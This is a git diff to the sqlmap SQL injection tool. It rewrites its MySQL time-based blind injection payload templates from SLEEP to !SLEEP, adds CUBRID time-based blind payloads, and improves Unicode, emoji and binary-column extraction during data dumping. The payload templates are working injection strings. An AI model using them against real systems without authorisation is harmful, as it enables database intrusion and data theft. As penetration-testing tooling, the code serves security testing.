diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 65d854c2332..3a774d15ad0 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -11,9 +11,9 @@ 1 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -31,9 +31,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -51,9 +51,9 @@ 1 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) @@ -71,9 +71,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) @@ -91,9 +91,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - AND SLEEP([SLEEPTIME]) + AND !SLEEP([SLEEPTIME]) # @@ -112,9 +112,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]) - OR SLEEP([SLEEPTIME]) + OR !SLEEP([SLEEPTIME]) # @@ -133,9 +133,9 @@ 1 1,2,3,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -154,9 +154,9 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -339,9 +339,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) @@ -359,9 +359,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])) - RLIKE SLEEP([SLEEPTIME]) + RLIKE !SLEEP([SLEEPTIME]) # @@ -380,9 +380,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -400,9 +400,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -421,9 +421,9 @@ 1 1,2,3,8,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -441,9 +441,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -460,9 +460,9 @@ 1 1,2,3,9 1 - AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + AND ELT([INFERENCE],!SLEEP([SLEEPTIME])) - AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -480,9 +480,9 @@ 3 1,2,3,9 1 - OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + OR ELT([INFERENCE],!SLEEP([SLEEPTIME])) - OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) # @@ -1092,6 +1092,45 @@ + + CUBRID AND time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,8,9 + 1 + + AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ + + CUBRID OR time-based blind (SLEEP) + 5 + 1 + 1 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root) + + OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root) + + + + +
+ Cubrid +
+
+ Firebird >= 2.0 AND time-based blind (heavy query) 5 @@ -1624,9 +1663,9 @@ 1 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) @@ -1644,9 +1683,9 @@ 1 1,2,3,9 3 - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR]) @@ -1704,9 +1743,9 @@ 1 1,2,3,9 3 - ([INFERENCE] AND SLEEP([SLEEPTIME])) + ([INFERENCE] AND !SLEEP([SLEEPTIME])) - ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME])) + ([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME])) @@ -1723,9 +1762,9 @@ 1 1,2,3,9 3 - ELT([INFERENCE],SLEEP([SLEEPTIME])) + ELT([INFERENCE],!SLEEP([SLEEPTIME])) - ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -1742,9 +1781,9 @@ 1 1,2,3,9 3 - MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME])) - MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME])) @@ -2038,9 +2077,9 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 6ac58b7f6df..9bf22bac181 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -440,8 +440,8 @@ - - + + @@ -626,7 +626,7 @@ - + @@ -638,11 +638,11 @@ - + - + @@ -1026,7 +1026,7 @@ - + @@ -1159,7 +1159,7 @@ - + @@ -1347,6 +1347,7 @@ + diff --git a/lib/core/agent.py b/lib/core/agent.py index c7aea8824d7..bb313dcc491 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -527,6 +527,12 @@ def nullAndCastField(self, field): else: if hexRaw: nulledCastedField = self.hexConvertField(field) + elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them + nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field + elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field): + # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate + nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field) elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field diff --git a/lib/core/common.py b/lib/core/common.py index ab5edf895df..ef3b2936449 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4001,8 +4001,9 @@ def decodeIntToUnicode(value): retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 - retVal = getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct + retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/enums.py b/lib/core/enums.py index aa8cc4e6561..6249b42efa6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -305,6 +305,7 @@ class OPTION_TYPE(object): class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" + MYSQL_UTF8MB4 = "MYSQL_UTF8MB4" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" diff --git a/lib/core/option.py b/lib/core/option.py index 4c92f0e264e..b1aa4e4bd83 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2281,6 +2281,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.maxConnectionsFlag = False kb.trueLength = None kb.mergeCookies = None + kb.mysqlUtf8mb4 = None kb.multiThreadMode = False kb.multipleCtrlC = False kb.negativeLogic = False diff --git a/lib/core/settings.py b/lib/core/settings.py index bc16079aa82..e16bd71ce56 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.198" +VERSION = "1.10.7.210" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -934,6 +934,10 @@ # column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") +# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they +# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global) +MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b" + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index bb449c3d5fc..95f618c3d6e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -672,8 +672,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable = None elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's - # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171) - shiftTable = [4, 2, 2, 3, 3, 3] + # 4-byte ORD() range for emoji/supplementary-plane, then 3-byte for CJK - see issue #5171) + shiftTable = [8, 4, 2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 7ba5c8b9f38..2dd6088a662 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -5,7 +5,8 @@ See the file 'LICENSE' for copying permission """ -from lib.core.convert import getOrds +from lib.core.convert import getBytes +from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -17,6 +18,13 @@ def escape(expression, quote=True): """ def escaper(value): - return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + # CHR() is byte-based on DB2, so a non-ASCII codepoint needs its UTF-8 bytes to form a single char + result = [] + for char in value: + if ord(char) < 128: + result.append("CHR(%d)" % ord(char)) + else: + result.extend("CHR(%d)" % _ for _ in bytearray(getBytes(char, UNICODE_ENCODING, errors="replace", unsafe=False))) + return "||".join(result) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e3fcb1cf6fa..f6e1d6600c7 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -95,6 +95,14 @@ def _commentCheck(self): return None + def _checkUtf8mb4(self): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; cache whether utf8mb4 works ('' if not) + kb.mysqlUtf8mb4 = hashDBRetrieve(HASHDB_KEYS.MYSQL_UTF8MB4) + + if kb.mysqlUtf8mb4 is None: + kb.mysqlUtf8mb4 = "utf8mb4" if inject.checkBooleanExpression("[RANDNUM]=CONVERT([RANDNUM] USING utf8mb4)") else "" + hashDBWrite(HASHDB_KEYS.MYSQL_UTF8MB4, kb.mysqlUtf8mb4) + def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) @@ -118,6 +126,8 @@ def getFingerprint(self): hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + self._checkUtf8mb4() + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index ac34a5ab1fb..0c8a2f289f8 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import BINARY_FIELDS_TYPE_REGEX +from lib.core.settings import MYSQL_BINARY_CAST_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import KEYSET_MIN_ROWS @@ -178,7 +179,8 @@ def dumpTable(self, foundData=None): # type is already known from the enumeration above, so this costs no extra request. # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text # cast, and its hex path needs text input, so auto-hexing would double-encode.) - autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))] + # MySQL BIT/spatial store raw bytes the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render fine), so hex them too + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(MYSQL_BINARY_CAST_TYPE_REGEX, getUnicode(columns[column]))))] conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] if autoBinary: debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) diff --git a/tests/test_agent.py b/tests/test_agent.py index 211fbb7fd8a..12d7a179cdb 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -108,6 +108,7 @@ # hexConvertField: dialects that DO have a hex function, mapped to its token. HEX_FUNCTION = { "Altibase": "HEX_ENCODE(", + "ClickHouse": "hex(", "Cubrid": "HEX(", "H2": "RAWTOHEX(", "IBM DB2": "HEX(",